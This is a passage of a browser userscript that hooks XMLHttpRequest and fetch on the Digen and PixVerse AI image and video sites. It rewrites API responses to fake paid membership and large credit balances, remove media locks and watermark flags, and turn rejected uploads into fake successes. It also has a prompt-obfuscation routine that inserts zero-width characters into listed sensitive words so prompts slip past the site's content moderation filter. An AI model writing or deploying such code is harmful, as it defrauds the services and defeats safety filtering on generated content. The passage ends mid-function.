dialog.querySelector('[data-ok]').onclick = () => {
close();
if (onConfirm) onConfirm();
};
overlay.appendChild(dialog);
overlay.addEventListener('click', (e) => { if (e.target === overlay) close(); });
document.body.appendChild(overlay);
}
function getExportableSettings() {
// Export only known keys (from defaultSettings) and exclude sensitive tokens/webhooks/headers.
const out = {};
for (const key of buildSettingsAllowList()) {
if (key in settings) {
out[key] = deepCloneValue(settings[key]);
}
}
return out;
}
function exportSettings() {
const exportData = {
version: SCRIPT_VERSION,
exportedAt: new Date().toISOString(),
settings: getExportableSettings()
};
const blob = new Blob([JSON.stringify(exportData, null, 2)], { type: 'application/json' });
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `bypass-settings-${Date.now()}.json`;
a.click();
URL.revokeObjectURL(url);
showToast('Settings exported successfully', 'success');
}
function importSettings() {
const input = document.createElement('input');
input.type = 'file';
input.accept = '.json';
input.onchange = async (e) => {
const file = e.target.files[0];
if (!file) return;
try {
const text = await file.text();
const data = JSON.parse(text);
// Validate structure
if (!data.settings || typeof data.settings !== 'object') {
showToast('Invalid settings file format', 'error');
return;
}
const before = deepCloneValue(settings);
const sanitized = sanitizeImportedSettings(data.settings);
const merged = { ...settings };
// Apply sanitized settings with safe merges for nested objects.
Object.assign(merged, sanitized.settings);
if (sanitized.settings.position) {
merged.position = { ...settings.position, ...sanitized.settings.position };
}
if (sanitized.settings.telegramIncludeData) {
merged.telegramIncludeData = { ...settings.telegramIncludeData, ...sanitized.settings.telegramIncludeData };
}
if (sanitized.settings.detailedInfoFields) {
merged.detailedInfoFields = { ...settings.detailedInfoFields, ...sanitized.settings.detailedInfoFields };
}
// Preserve sensitive fields regardless of import contents.
merged.headers = settings.headers;
merged.telegramToken = settings.telegramToken;
merged.telegramChatId = settings.telegramChatId;
merged.discordWebhook = settings.discordWebhook;
// Always ensure defaults exist.
merged.headers = { ...defaultSettings.headers, ...(merged.headers || {}) };
merged.position = { ...defaultSettings.position, ...(merged.position || {}) };
merged.telegramIncludeData = { ...defaultSettings.telegramIncludeData, ...(merged.telegramIncludeData || {}) };
merged.detailedInfoFields = { ...defaultSettings.detailedInfoFields, ...(merged.detailedInfoFields || {}) };
const changes = diffSettings(before, merged);
showSettingsImportConfirmDialog({
fileName: file.name,
version: data.version,
changes,
skipped: sanitized.skipped,
onConfirm: () => {
settings = merged;
saveSettings();
showToast('Settings imported successfully', 'success');
updateUI();
setTimeout(() => window.location.reload(), 900);
}
});
} catch (err) {
showToast('Failed to import settings: ' + err.message, 'error');
}
};
input.click();
}
function saveSettingsProfile() {
showProfileNameDialog((profileName) => {
if (!profileName) return;
const profiles = JSON.parse(localStorage.getItem('freeBypassSettingsProfiles') || '{}');
profiles[profileName] = getExportableSettings();
localStorage.setItem('freeBypassSettingsProfiles', JSON.stringify(profiles));
localStorage.setItem('freeBypassCurrentProfile', profileName);
showToast(`Profile "${profileName}" saved`, 'success');
updateUI();
});
}
function loadSettingsProfile(profileName) {
const profiles = JSON.parse(localStorage.getItem('freeBypassSettingsProfiles') || '{}');
const profile = profiles[profileName];
if (!profile) {
showToast('Profile not found', 'error');
return;
}
// Keep sensitive data
const currentSensitive = {
headers: settings.headers,
telegramToken: settings.telegramToken,
telegramChatId: settings.telegramChatId,
discordWebhook: settings.discordWebhook
};
settings = {
...defaultSettings,
...profile,
...currentSensitive
};
saveSettings();
localStorage.setItem('freeBypassCurrentProfile', profileName);
showToast(`Profile "${profileName}" loaded`, 'success');
updateUI();
// Reload to apply changes
setTimeout(() => window.location.reload(), 1000);
}
function deleteSettingsProfile(profileName) {
showConfirmDialog(`Delete profile "${profileName}"? This cannot be undone.`, () => {
const profiles = JSON.parse(localStorage.getItem('freeBypassSettingsProfiles') || '{}');
delete profiles[profileName];
localStorage.setItem('freeBypassSettingsProfiles', JSON.stringify(profiles));
const currentProfile = localStorage.getItem('freeBypassCurrentProfile');
if (currentProfile === profileName) {
localStorage.setItem('freeBypassCurrentProfile', 'Default');
}
showToast(`Profile "${profileName}" deleted`, 'success');
updateUI();
});
}
// Task Profiles Functions
function getTaskProfiles() {
return JSON.parse(localStorage.getItem(TASK_PROFILES_KEY) || '{}');
}
function saveTaskProfiles(profiles) {
localStorage.setItem(TASK_PROFILES_KEY, JSON.stringify(profiles));
}
function createTaskProfile(profileName) {
const profiles = getTaskProfiles();
if (profiles[profileName]) {
showToast('Profile already exists', 'error');
return false;
}
profiles[profileName] = { name: profileName, tasks: [], createdAt: Date.now() };
saveTaskProfiles(profiles);
showToast(`Profile "${profileName}" created`, 'success');
return true;
}
function addTaskToProfile(taskId, taskData, profileName, method = 'copy') {
const profiles = getTaskProfiles();
const profile = profiles[profileName];
if (!profile) return false;
const taskEntry = {
taskId: taskId,
taskData: taskData,
addedAt: Date.now(),
method: method
};
// Check if task already exists
const existing = profile.tasks.findIndex(t => t.taskId === taskId);
if (existing >= 0) {
profile.tasks[existing] = taskEntry;
} else {
profile.tasks.push(taskEntry);
}
saveTaskProfiles(profiles);
return true;
}
function removeTaskFromProfile(taskId, profileName) {
const profiles = getTaskProfiles();
const profile = profiles[profileName];
if (!profile) return false;
profile.tasks = profile.tasks.filter(t => t.taskId !== taskId);
saveTaskProfiles(profiles);
return true;
}
function deleteTaskProfile(profileName) {
const profiles = getTaskProfiles();
delete profiles[profileName];
saveTaskProfiles(profiles);
showToast(`Profile "${profileName}" deleted`, 'success');
}
function showProfileNameDialog(callback) {
const dialogOverlay = document.createElement('div');
dialogOverlay.style.cssText = `
position: fixed;
top: 0;
left: 0;
right: 0;
bottom: 0;
background: rgba(0, 0, 0, 0.7);
display: flex;
align-items: center;
justify-content: center;
z-index: 999999;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
`;
const dialog = document.createElement('div');
dialog.style.cssText = `
background: #1e293b;
border: 1px solid #475569;
border-radius: 12px;
padding: 24px;
max-width: 400px;
width: 90%;
box-shadow: 0 20px 60px rgba(0, 0, 0, 0.8);
`;
const title = document.createElement('h2');
title.textContent = 'Create Task Profile';
title.style.cssText = `
color: #f1f5f9;
font-size: 18px;
font-weight: 600;
margin: 0 0 12px 0;
`;
const description = document.createElement('p');
description.textContent = 'Enter a name for your new task profile:';
description.style.cssText = `
color: #cbd5e1;
font-size: 13px;
margin: 0 0 16px 0;
`;
const input = document.createElement('input');
input.type = 'text';
input.placeholder = 'Profile name (e.g., "Portraits", "Landscapes")';
input.style.cssText = `
width: 100%;
padding: 10px 12px;
border: 1px solid #475569;
border-radius: 8px;
background: #0f1729;
color: #f1f5f9;
font-size: 14px;
box-sizing: border-box;
margin-bottom: 16px;
transition: border-color 0.2s;
`;
input.addEventListener('focus', () => input.style.borderColor = '#6366f1');
input.addEventListener('blur', () => input.style.borderColor = '#475569');
const buttonsRow = document.createElement('div');
buttonsRow.style.cssText = `
display: flex;
gap: 8px;
justify-content: flex-end;
`;
const cancelBtn = document.createElement('button');
cancelBtn.textContent = 'Cancel';
cancelBtn.style.cssText = `
padding: 8px 16px;
border: 1px solid #475569;
background: transparent;
color: #cbd5e1;
border-radius: 6px;
cursor: pointer;
font-size: 13px;
font-weight: 500;
transition: all 0.2s;
`;
cancelBtn.addEventListener('hover', () => cancelBtn.style.background = 'rgba(71, 85, 105, 0.3)');
cancelBtn.onclick = () => {
dialogOverlay.remove();
callback(null);
};
const createBtn = document.createElement('button');
createBtn.textContent = 'Create Profile';
createBtn.style.cssText = `
padding: 8px 16px;
border: 1px solid #6366f1;
background: linear-gradient(135deg, #6366f1, #8b5cf6);
color: #ffffff;
border-radius: 6px;
cursor: pointer;
font-size: 13px;
font-weight: 600;
transition: all 0.2s;
`;
createBtn.addEventListener('mouseover', () => createBtn.style.opacity = '0.8');
createBtn.addEventListener('mouseout', () => createBtn.style.opacity = '1');
createBtn.onclick = () => {
const name = input.value.trim();
if (!name) {
showToast('Profile name cannot be empty', 'error');
return;
}
dialogOverlay.remove();
callback(name);
};
input.addEventListener('keypress', (e) => {
if (e.key === 'Enter') createBtn.click();
});
buttonsRow.appendChild(cancelBtn);
buttonsRow.appendChild(createBtn);
dialog.appendChild(title);
dialog.appendChild(description);
dialog.appendChild(input);
dialog.appendChild(buttonsRow);
dialogOverlay.appendChild(dialog);
document.body.appendChild(dialogOverlay);
setTimeout(() => input.focus(), 100);
}
function syncSettingsAcrossDomains() {
if (!settings.tensorhubShareSettings) return;
// Use a shared localStorage key for cross-domain settings
const sharedKey = 'freeBypassSharedSettings';
const exportable = getExportableSettings();
const payload = JSON.stringify(exportable);
const existing = localStorage.getItem(sharedKey);
if (existing === payload) return;
localStorage.setItem(sharedKey, payload);
if (domInjectDebug) console.log('[Settings] Synced settings across domains');
}
function loadSharedSettings() {
if (!settings.tensorhubShareSettings) return false;
try {
const sharedKey = 'freeBypassSharedSettings';
const shared = localStorage.getItem(sharedKey);
if (!shared) return false;
const sharedSettings = JSON.parse(shared);
// Keep sensitive data
const currentSensitive = {
headers: settings.headers,
telegramToken: settings.telegramToken,
telegramChatId: settings.telegramChatId,
discordWebhook: settings.discordWebhook
};
settings = {
...defaultSettings,
...sharedSettings,
...currentSensitive
};
localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
if (domInjectDebug) console.log('[Settings] Loaded shared settings');
return true;
} catch (err) {
console.warn('[Settings] Failed to load shared settings:', err);
return false;
}
}
// ============================================================================
// DIGEN INTEGRATION (domain-gated)
// ============================================================================
function initDigenIntegration() {
const DIGEN_PREFIX = '[freeinterenmt digen]';
let digenInitialized = false;
const digenLog = (message, details = null, level = 'info') => {
if (level === 'error') {
console.error(DIGEN_PREFIX, message, details || '');
} else {
console.log(DIGEN_PREFIX, message, details || '');
}
addDigenUiLog(level, message, details);
};
function digenDispatchItemsUpdated() {
try {
window.dispatchEvent(new Event('freeBypassDigenItemsUpdated'));
} catch {
// ignore
}
if (settings.digenAutoRefreshItems && IS_DIGEN_DOMAIN && (currentTab === 'home' || currentTab === 'digenBackground')) {
scheduleUIRefresh();
}
}
function digenModifyResourceList(data) {
if (!data?.data?.list || !Array.isArray(data.data.list)) return data;
const list = data.data.list.map((item) => {
const normalized = settings.digenEnableProBypass ? { ...item, isPro: 1 } : item;
if (settings.digenCaptureItems && normalized?.resource_urls?.[0]?.thumbnail) {
upsertDigenJob(normalized, 'resource_list_v2').then(() => digenDispatchItemsUpdated()).catch(() => {});
}
return normalized;
});
digenLog('Processed scene resource list', { count: list.length });
return {
...data,
data: {
...data.data,
list
}
};
}
function digenModifyQueueList(data) {
if (!Array.isArray(data?.data?.list)) return data;
const list = data.data.list.map((item) => {
if (settings.digenCaptureItems && item?.thumbnail) {
upsertDigenJob(item, 'queue_list').then(() => digenDispatchItemsUpdated()).catch(() => {});
}
return settings.digenEnableProBypass ? { ...item, isPro: 1 } : item;
});
digenLog('Processed queue list', { count: list.length });
return {
...data,
data: {
...data.data,
list
}
};
}
function digenModifyCreditRemain(data) {
if (data?.errMsg !== 'success') return data;
const before = {
subscribeStatus: data?.data?.subscribeStatus,
isMember: data?.data?.isMember,
productID: data?.data?.productID
};
if (!settings.digenEnableProBypass) {
digenLog('Credit endpoint observed (pro bypass disabled)', before, 'warn');
return data;
}
const modified = {
...data,
data: {
...(data?.data || {}),
subscribeStatus: 'active',
isMember: true,
productID: data?.data?.productID || 'ultra'
}
};
digenLog('Applied credit/pro normalization', {
overwrite: {
subscribeStatus: { from: before.subscribeStatus, to: modified.data.subscribeStatus },
isMember: { from: before.isMember, to: modified.data.isMember },
productID: { from: before.productID, to: modified.data.productID }
}
}, 'success');
return modified;
}
function digenModifyResponse(data, url, body) {
if (!data || typeof data !== 'object') return null;
if (url.includes('/v1/scene/resource_list_v2')) return digenModifyResourceList(data);
if (url.includes('/v1/queue/list')) return digenModifyQueueList(data);
if (url.includes('/v2/tools/text_to_image')) {
if (settings.digenCaptureItems && data?.data?.itemId) {
upsertDigenJob({
id: Number(data.data.itemId),
jobId: data?.data?.id,
createdAtTimestamp: Date.now(),
status: data?.data?.status
}, 'text_to_image').then(() => digenDispatchItemsUpdated()).catch(() => {});
}
return data;
}
if (url.includes('/v6/video/get_task_v2') && data?.data?.status !== 3) {
let parsedBody = body;
try {
if (parsedBody instanceof FormData) {
parsedBody = Object.fromEntries(parsedBody);
} else if (typeof parsedBody === 'string') {
parsedBody = JSON.parse(parsedBody || '{}');
}
} catch {
parsedBody = {};
}
if (settings.digenCaptureItems && parsedBody?.jobID) {
digenJobs.getAll(item => item?.jobId === parsedBody?.jobID).then((items) => {
if (!items?.length) return;
return upsertDigenJob({ ...items[0], ...data.data }, 'get_task_v2').then(() => digenDispatchItemsUpdated());
}).catch(() => {});
}
if (settings.digenEnableProBypass) {
return {
...data,
data: {
...data.data,
isPro: 1
}
};
}
return data;
}
if (url.includes('/v1/credit/remain')) {
return digenModifyCreditRemain(data);
}
return null;
}
function digenOverrideXHR() {
try {
const pageWindow = typeof unsafeWindow !== 'undefined' ? unsafeWindow : window;
const originalOpen = pageWindow.XMLHttpRequest.prototype.open;
const originalSend = pageWindow.XMLHttpRequest.prototype.send;
const originalSetRequestHeader = pageWindow.XMLHttpRequest.prototype.setRequestHeader;
pageWindow.XMLHttpRequest.prototype.open = function (method, url) {
this._digenRequestUrl = url;
this._digenHeaders = {};
return originalOpen.apply(this, arguments);
};
pageWindow.XMLHttpRequest.prototype.setRequestHeader = function (header, value) {
this._digenHeaders[header] = value;
return originalSetRequestHeader.apply(this, arguments);
};
pageWindow.XMLHttpRequest.prototype.send = function (body) {
let currentBody = body;
const url = this._digenRequestUrl || '';
const self = this;
const loadHandler = function () {
if (self.status >= 200 && self.status < 300) {
try {
if (self.responseType !== 'arraybuffer') {
const responseBody = self.responseType === 'json' ? self.response : JSON.parse(self.responseText || '{}');
const modified = digenModifyResponse(responseBody, url, currentBody);
if (modified) {
Object.defineProperties(self, {
response: { value: modified, writable: true, configurable: true },
responseText: { value: JSON.stringify(modified), writable: true, configurable: true }
});
digenLog('XHR response modified', { url });
}
}
} catch (e) {
digenLog('XHR response processing error', { url, error: String(e?.message || e) }, 'error');
}
}
};
self.addEventListener('load', loadHandler, { once: true });
return originalSend.apply(self, [currentBody]);
};
digenLog('XHR overrides initialized');
} catch (e) {
digenLog('XHR override failed', { error: String(e?.message || e) }, 'error');
}
}
function digenInitialize() {
if (digenInitialized) return;
try {
digenOverrideXHR();
digenInitialized = true;
digenLog('Digen module initialized', { domain: window.location.hostname }, 'success');
} catch (e) {
digenLog('Digen initialization failed', { error: String(e?.message || e) }, 'error');
}
}
digenInitialize();
}
// ============================================================================
// PIXVERSE INTEGRATION (domain-gated)
// ============================================================================
function initPixverseIntegration() {
const PIXVERSE_PREFIX = '[freeinterenmt pixverse]';
let pixverseSavedMediaPath = null;
let pixverseInitialized = false;
let pixverseBtnAttached = false;
let pixverseFetchPatched = false;
const pixverseUiLog = (level, message, details = null) => {
if (level === 'error') {
console.error(PIXVERSE_PREFIX, message, details || '');
} else {
console.log(PIXVERSE_PREFIX, message, details || '');
}
addPixverseUiLog(level, message, details);
};
const pixverseLog = (message, details = null) => pixverseUiLog('info', message, details);
const pixverseWarn = (message, details = null) => pixverseUiLog('warn', message, details);
const pixverseError = (message, details = null) => pixverseUiLog('error', message, details);
const pvWindow = typeof unsafeWindow !== 'undefined' ? unsafeWindow : window;
const pixverseSafeJsonParse = (input, fallback = {}) => {
try {
if (typeof input !== 'string') return fallback;
return JSON.parse(input);
} catch {
return fallback;
}
};
function pixverseExtractMediaPath(data, url) {
if (!data) return null;
if (url.includes('/media/batch_upload_media')) {
return data?.images?.[0]?.path || null;
}
if (url.includes('/media/upload')) {
return data?.path || null;
}
return null;
}
function pixverseIsDefaultPreviewUrl(url) {
const value = String(url || '').toLowerCase();
if (!value) return false;
return value.includes('pixverse-preview') || value.includes('default.mp4') || value.includes('default.webm');
}
function pixverseTryModifyCredits(data, url = '') {
if (!settings.pixverseEnableCreditsBypass) {
pixverseWarn('Credits endpoint seen but bypass disabled', { url });
return null;
}
const hasOwn = (obj, key) => !!obj && Object.prototype.hasOwnProperty.call(obj, key);
const overwrite = {};
let changed = false;
const setIfPresent = (obj, key, value) => {
if (!hasOwn(obj, key)) return;
const from = obj[key];
if (from !== value) {
obj[key] = value;
overwrite[key] = { from, to: value };
changed = true;
}
};
if (hasOwn(data?.Resp, 'credits')) {
setIfPresent(data.Resp, 'credits', 100);
} else if (hasOwn(data, 'credits')) {
setIfPresent(data, 'credits', 100);
} else if (hasOwn(data?.Resp?.data, 'credits')) {
setIfPresent(data.Resp.data, 'credits', 100);
}
const resp = data?.Resp;
if (resp && typeof resp === 'object') {
// New payload variant from /creative_platform/user/credits
setIfPresent(resp, 'credit_daily', 9999);
setIfPresent(resp, 'credit_monthly', 9999);
setIfPresent(resp, 'credit_package', 9999);
setIfPresent(resp, 'renewal_credits', 9999);
setIfPresent(resp, 'effect_daily', 9999);
setIfPresent(resp, 'high_quality_times', 9999);
setIfPresent(resp, 'agent_template_free_times', 9999);
setIfPresent(resp, 'preview_mode_free_times', 9999);
setIfPresent(resp, 'upscale_preview_free_times', 9999);
setIfPresent(resp, 'story_free_times', 9999);
setIfPresent(resp, 'image_free_365', 1);
}
if (changed) {
pixverseUiLog('success', 'Credits overwrite applied', {
url,
overwrite,
errCode: data?.ErrCode ?? null
});
return data;
}
pixverseWarn('Credits endpoint matched but no writable credits field', {
url,
topLevelKeys: Object.keys(data || {}).slice(0, 30),
respKeys: Object.keys(data?.Resp || {}).slice(0, 30)
});
return null;
}
function pixverseSaveUploadedMediaPath(data) {
const mediaPaths = pixverseSafeJsonParse(localStorage.getItem('mediaPaths'), {});
const resolvedUrl = String(data.url || '').replace(
/^https?:\/\/pixverse-fe-upload\.oss-us-west-1\.aliyuncs\.com\//,
'https://media.pixverse.ai/'
);
const mediaType = String(data?.path || '').includes('.mp4') ? 'video' : 'image';
mediaPaths[data.asset_id] = {
...data,
url: resolvedUrl,
asset_type: String(data?.path || '').includes('.mp4') ? 1 : 0
};
localStorage.setItem('mediaPaths', JSON.stringify(mediaPaths));
upsertPixverseMediaEntry({
source: 'upload',
type: mediaType,
taskId: data.asset_id,
mediaId: data.asset_id,
url: resolvedUrl,
previewUrl: data?.image_url || data?.last_frame || resolvedUrl,
raw: data
});
pixverseLog('Captured uploaded media', { assetId: data.asset_id, type: mediaType });
}
function pixverseModifyLibraryList(data, body) {
if (!data?.Resp?.data) return data;
const videoList = pixverseSafeJsonParse(localStorage.getItem('videoList'), {});
const imageList = pixverseSafeJsonParse(localStorage.getItem('imageList'), {});
let parsedBody = {};
try {
parsedBody = typeof body === 'string' ? JSON.parse(body) : (body || {});
} catch {
// ignore
}
const items = Array.isArray(data.Resp.data) ? [...data.Resp.data] : [];
if (parsedBody?.asset_source === 0) {
const mediaPaths = pixverseSafeJsonParse(localStorage.getItem('mediaPaths'), {});
for (const [key, value] of Object.entries(mediaPaths)) {
if (items.findIndex(item => item.asset_id === key) === -1) {
if (
(parsedBody?.tab === 'image' && value.asset_type === 0)
|| (parsedBody?.tab === 'video' && value.asset_type === 1)
) {
const createdAt = new Date().toISOString();
items.push({
...(items[0] || {}),
...value,
asset_source: 0,
asset_type: value.asset_type,
name: value.path,
created_at: createdAt,
updated_at: createdAt,
image_url: value?.image_url || value?.last_frame
});
}
}
}
}
return {
...data,
Resp: {
...data.Resp,
data: items.map(item => {
if (item?.asset_source === 0) {
const inferredIsVideo = Number(item.asset_type) === 1 || String(item.mime_type || '').startsWith('video/') || String(item.url || '').includes('.mp4');
const inferredUrl = item.url
|| item.video_url
|| item.image_url
|| (item.video_path ? `https://media.pixverse.ai/${item.video_path}` : '')
|| '';
const inferredPreview = item.last_frame || item.first_frame || item.image_url || item.thumbnail_url || '';
if (inferredUrl) {
upsertPixverseMediaEntry({
source: 'library',
type: inferredIsVideo ? 'video' : 'image',
taskId: item.task_id || item.id || item.asset_id || item.video_id || item.image_id,
mediaId: item.video_id || item.image_id || item.asset_id || item.id,
url: inferredUrl,
previewUrl: inferredPreview,
raw: item
});
}
return item;
}
switch (item?.asset_type) {
case 0: {
const imageUrl = imageList[item.image_id] || item.image_url;
const statusOverwritten = Number(item.image_status) === 7;
const originalImageUrl = item.image_url || null;
const newItem = {
...item,
image_status: Number(item.image_status) === 7 ? 1 : item.image_status,
media_locked: 0,
remove_watermark: 1,
image_url: imageUrl
};
if (!imageList[item.image_id] && imageUrl) {
imageList[item.image_id] = imageUrl;
localStorage.setItem('imageList', JSON.stringify(imageList));
}
if (imageUrl) {
upsertPixverseMediaEntry({
source: 'library',
type: 'image',
taskId: item.task_id || item.id || item.image_id,
mediaId: item.image_id,
url: imageUrl,
previewUrl: imageUrl,
raw: item
});
}
if (statusOverwritten || (originalImageUrl && imageUrl && originalImageUrl !== imageUrl)) {
pixverseUiLog('info', 'Library image normalized', {
imageId: item.image_id,
overwrite: {
...(statusOverwritten ? { image_status: { from: 7, to: 1 } } : {}),
...((originalImageUrl && imageUrl && originalImageUrl !== imageUrl) ? { image_url: { from: originalImageUrl, to: imageUrl } } : {})
}
});
}
return newItem;
}
case 1: {
const itemUrl = String(item.url || '');
const itemVideoUrl = String(item.video_url || '');
const previewBlocked = pixverseIsDefaultPreviewUrl(itemUrl) || pixverseIsDefaultPreviewUrl(itemVideoUrl);
const videoPathFromItemUrl = (typeof item.url === 'string' && item.url.includes('media.pixverse.ai/') && !previewBlocked)
? decodeURIComponent(item.url.split('media.pixverse.ai/')[1].split('?')[0])
: '';
// Match standalone pixverse.js logic: prefer cached/local video path over item.url
const videoPath = videoList[item.video_id] || item.video_path || videoPathFromItemUrl;
const videoUrl = videoPath
? `https://media.pixverse.ai/${videoPath}`
: (previewBlocked ? '' : (item.url || item.video_url || ''));
const statusOverwritten = Number(item.video_status) === 7;
const originalVideoUrl = item.url || item.video_url || null;
const newItem = {
...item,
video_status: Number(item.video_status) === 7 ? 1 : item.video_status,
media_locked: 0,
remove_watermark: 1,
first_frame: (item.extended === 1 && item.customer_paths?.customer_video_last_frame_url)
|| item.customer_paths?.customer_img_url
|| item.last_frame
|| item.thumbnail_url
|| '',
url: videoUrl
};
if (!videoList[item.video_id] && videoPath) {
videoList[item.video_id] = videoPath;
localStorage.setItem('videoList', JSON.stringify(videoList));
}
if (videoUrl) {
upsertPixverseMediaEntry({
source: 'library',
type: 'video',
taskId: item.task_id || item.id || item.video_id,
mediaId: item.video_id,
url: videoUrl,
previewUrl: newItem.first_frame || item.image_url || '',
raw: item
});
}
if (previewBlocked && videoPath) {
pixverseUiLog('success', 'Replaced preview/blocked video URL from cached path', {
videoId: item.video_id,
from: originalVideoUrl,
to: videoUrl
});
}
if (statusOverwritten || (originalVideoUrl && videoUrl && originalVideoUrl !== videoUrl)) {
pixverseUiLog('info', 'Library video normalized', {
videoId: item.video_id,
overwrite: {
...(statusOverwritten ? { video_status: { from: 7, to: 1 } } : {}),
...((originalVideoUrl && videoUrl && originalVideoUrl !== videoUrl) ? { url: { from: originalVideoUrl, to: videoUrl } } : {})
}
});
}
return newItem;
}
default:
return item;
}
})
}
};
}
function pixverseModifyLibraryListVideo(data, body) {
if (!data?.Resp?.last_frame) return data;
const mediaPaths = pixverseSafeJsonParse(localStorage.getItem('mediaPaths'), {});
let parsedBody = {};
try {
parsedBody = typeof body === 'string' ? JSON.parse(body) : (body || {});
} catch {
// ignore
}
for (const [key, value] of Object.entries(mediaPaths)) {
if (parsedBody.video_path === value.path && !value?.last_frame) {
mediaPaths[key].last_frame = data?.Resp?.last_frame;
localStorage.setItem('mediaPaths', JSON.stringify(mediaPaths));
}
}
return data;
}
function pixverseModifyBatchUpload(data) {
if ([400, 403, 401].includes(data?.ErrCode) && pixverseSavedMediaPath) {
const imageId = Date.now();
const imageName = pixverseSavedMediaPath.split('/').pop() || 'uploaded_media';
return {
ErrCode: 0,
ErrMsg: 'success',
Resp: {
result: [{
id: imageId,
category: 0,
err_msg: '',
name: imageName,
path: pixverseSavedMediaPath,
size: 0,
url: `https://media.pixverse.ai/${pixverseSavedMediaPath}`
}]
}
};
}
return data;
}
function pixverseModifySingleUpload(data) {
if ([400040, 500063, 403, 401].includes(data?.ErrCode) && pixverseSavedMediaPath) {
pixverseLog('Bypassing upload error via saved media path', {
errCode: data?.ErrCode,
savedMediaPath: pixverseSavedMediaPath
});
return {
ErrCode: 0,
ErrMsg: 'success',
Resp: {
path: pixverseSavedMediaPath,
url: `https://media.pixverse.ai/${pixverseSavedMediaPath}`,
name: pixverseSavedMediaPath.split('/').pop() || 'uploaded_media',
type: 1
}
};
}
if (data?.Resp?.asset_id) {
pixverseSaveUploadedMediaPath(data.Resp);
}
return data;
}
function pixverseModifyPlanDetails(data) {
return {
...data,
Resp: {
...data.Resp,
qualities: ['360p', '540p', '720p', '1080p']
}
};
}
function pixverseModifyResponse(data, url, body) {
if (!data || typeof data !== 'object') return null;
if (url.includes('/creative_platform/user/credits') || url.includes('/user/credits')) return pixverseTryModifyCredits(data, url);
if (settings.pixverseEnableUploadBypass && url.includes('/media/batch_upload_media')) return pixverseModifyBatchUpload(data);
if (settings.pixverseEnableUploadBypass && url.includes('/media/upload')) return pixverseModifySingleUpload(data);
if (url.includes('/creative_platform/members/plan_details')) return pixverseModifyPlanDetails(data);
if (url.includes('/creative_platform/asset/library/list')) return pixverseModifyLibraryList(data, body);
if (url.includes('/creative_platform/video/frame/last')) return pixverseModifyLibraryListVideo(data, body);
return null;
}
function pixverseOverrideFetch() {
if (pixverseFetchPatched || typeof pvWindow.fetch !== 'function') return;
const original = pvWindow.fetch.bind(pvWindow);
pvWindow.fetch = async function (...args) {
const request = args[0];
const requestUrl = typeof request === 'string' ? request : (request?.url || '');
const requestBody = args?.[1]?.body || null;
const response = await original(...args);
const isPixverseApi = requestUrl.includes('pixverse.ai')
&& (
requestUrl.includes('/creative_platform/user/credits')
|| requestUrl.includes('/creative_platform/asset/library/list')
|| requestUrl.includes('/creative_platform/video/frame/last')
|| requestUrl.includes('/media/upload')
|| requestUrl.includes('/media/batch_upload_media')
|| requestUrl.includes('/creative_platform/members/plan_details')
);
if (!isPixverseApi) return response;
try {
const text = await response.clone().text();
if (!text || text[0] !== '{') return response;
const parsed = JSON.parse(text);
const modified = pixverseModifyResponse(parsed, requestUrl, requestBody);
if (!modified) return response;
const headers = new Headers(response.headers || {});
headers.set('content-type', 'application/json;charset=UTF-8');
pixverseUiLog('info', 'Fetch response modified', { url: requestUrl });
return new Response(JSON.stringify(modified), {
status: response.status,
statusText: response.statusText,
headers
});
} catch (err) {
pixverseError('Fetch override processing failed', { url: requestUrl, error: String(err?.message || err) });
return response;
}
};
pixverseFetchPatched = true;
pixverseLog('Fetch override initialized');
}
function pixverseEscapeRegExp(value) {
return String(value).replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
}
function pixverseObfuscateWord(word) {
return String(word).split('').join('\u200B');
}
function pixverseObfuscatePrompt(prompt) {
let modified = String(prompt || '');
const sensitiveWords = Array.isArray(settings.pixverseSensitiveWords) ? settings.pixverseSensitiveWords : [];
if (!sensitiveWords.length) return modified;
for (const sensitive of sensitiveWords) {
const regex = new RegExp(`\\b${pixverseEscapeRegExp(sensitive)}\\b`, 'gi');
modified = modified.replace(regex, match => pixverseObfuscateWord(match));
}
return modified;
}
function pixverseOverrideXHR() {
try {
const originalOpen = pvWindow.XMLHttpRequest.prototype.open;
const originalSend = pvWindow.XMLHttpRequest.prototype.send;
const originalSetRequestHeader = pvWindow.XMLHttpRequest.prototype.setRequestHeader;
pvWindow.XMLHttpRequest.prototype.open = function (method, url) {
this._pixverseRequestUrl = url;
this._pixverseHeaders = {};
return originalOpen.apply(this, arguments);
};
pvWindow.XMLHttpRequest.prototype.setRequestHeader = function (header, value) {
this._pixverseHeaders[header] = value;
return originalSetRequestHeader.apply(this, arguments);
};
pvWindow.XMLHttpRequest.prototype.send = function (body) {
let currentBody = body;
const url = this._pixverseRequestUrl || '';
const self = this;
pixverseSavedMediaPath = null;
const loadHandler = function () {
if (self.status >= 200 && self.status < 300) {
try {
if (self.responseType !== 'arraybuffer') {
const responseBody = self.responseType === 'json'
? self.response
: pixverseSafeJsonParse(self.responseText || '{}', {});
const modified = pixverseModifyResponse(responseBody, url, currentBody);
if (modified) {
Object.defineProperties(self, {
response: { value: modified, writable: true, configurable: true },
responseText: { value: JSON.stringify(modified), writable: true, configurable: true }
});
pixverseLog('XHR response modified', { url });
pixverseLog('XHR response', modified);
}
}
} catch (e) {
pixverseError('XHR response processing error:', e);
}
}
};
self.addEventListener('load', loadHandler, { once: true });
if (settings.pixverseEnablePromptObfuscation && url.includes('/creative_platform/video/') && currentBody && typeof currentBody === 'string') {
try {
const data = JSON.parse(currentBody);
if (data.prompt) {
const before = data.prompt;
data.prompt = pixverseObfuscatePrompt(data.prompt);
currentBody = JSON.stringify(data);
if (before !== data.prompt) {
pixverseLog('Prompt obfuscation applied', { url });
}
}
} catch (e) {
pixverseError('Error obfuscating video creation prompt:', e);
}
}
if ((url.includes('/media/batch_upload_media') || url.includes('/media/upload')) && currentBody) {
try {
let parsed = currentBody;
if (currentBody instanceof FormData) {
parsed = Object.fromEntries(currentBody);
} else if (typeof currentBody === 'string') {
parsed = JSON.parse(currentBody || '{}');
}
if (url.includes('/media/batch_upload_media')) {
return pvWindow.fetch(url.replace('batch_upload_media', 'upload'), {
method: 'POST',
headers: {
...(this._pixverseHeaders || {}),
Cookie: document.cookie
},
body: JSON.stringify({
...(parsed?.images?.[0] || {}),
type: 2
})
}).then(result => {
pixverseSavedMediaPath = pixverseExtractMediaPath(parsed, url);
result.json().then(responseBody => {
if (responseBody?.Resp?.asset_id) {
pixverseSaveUploadedMediaPath(responseBody.Resp);
}
}).catch(() => {
// ignore
});
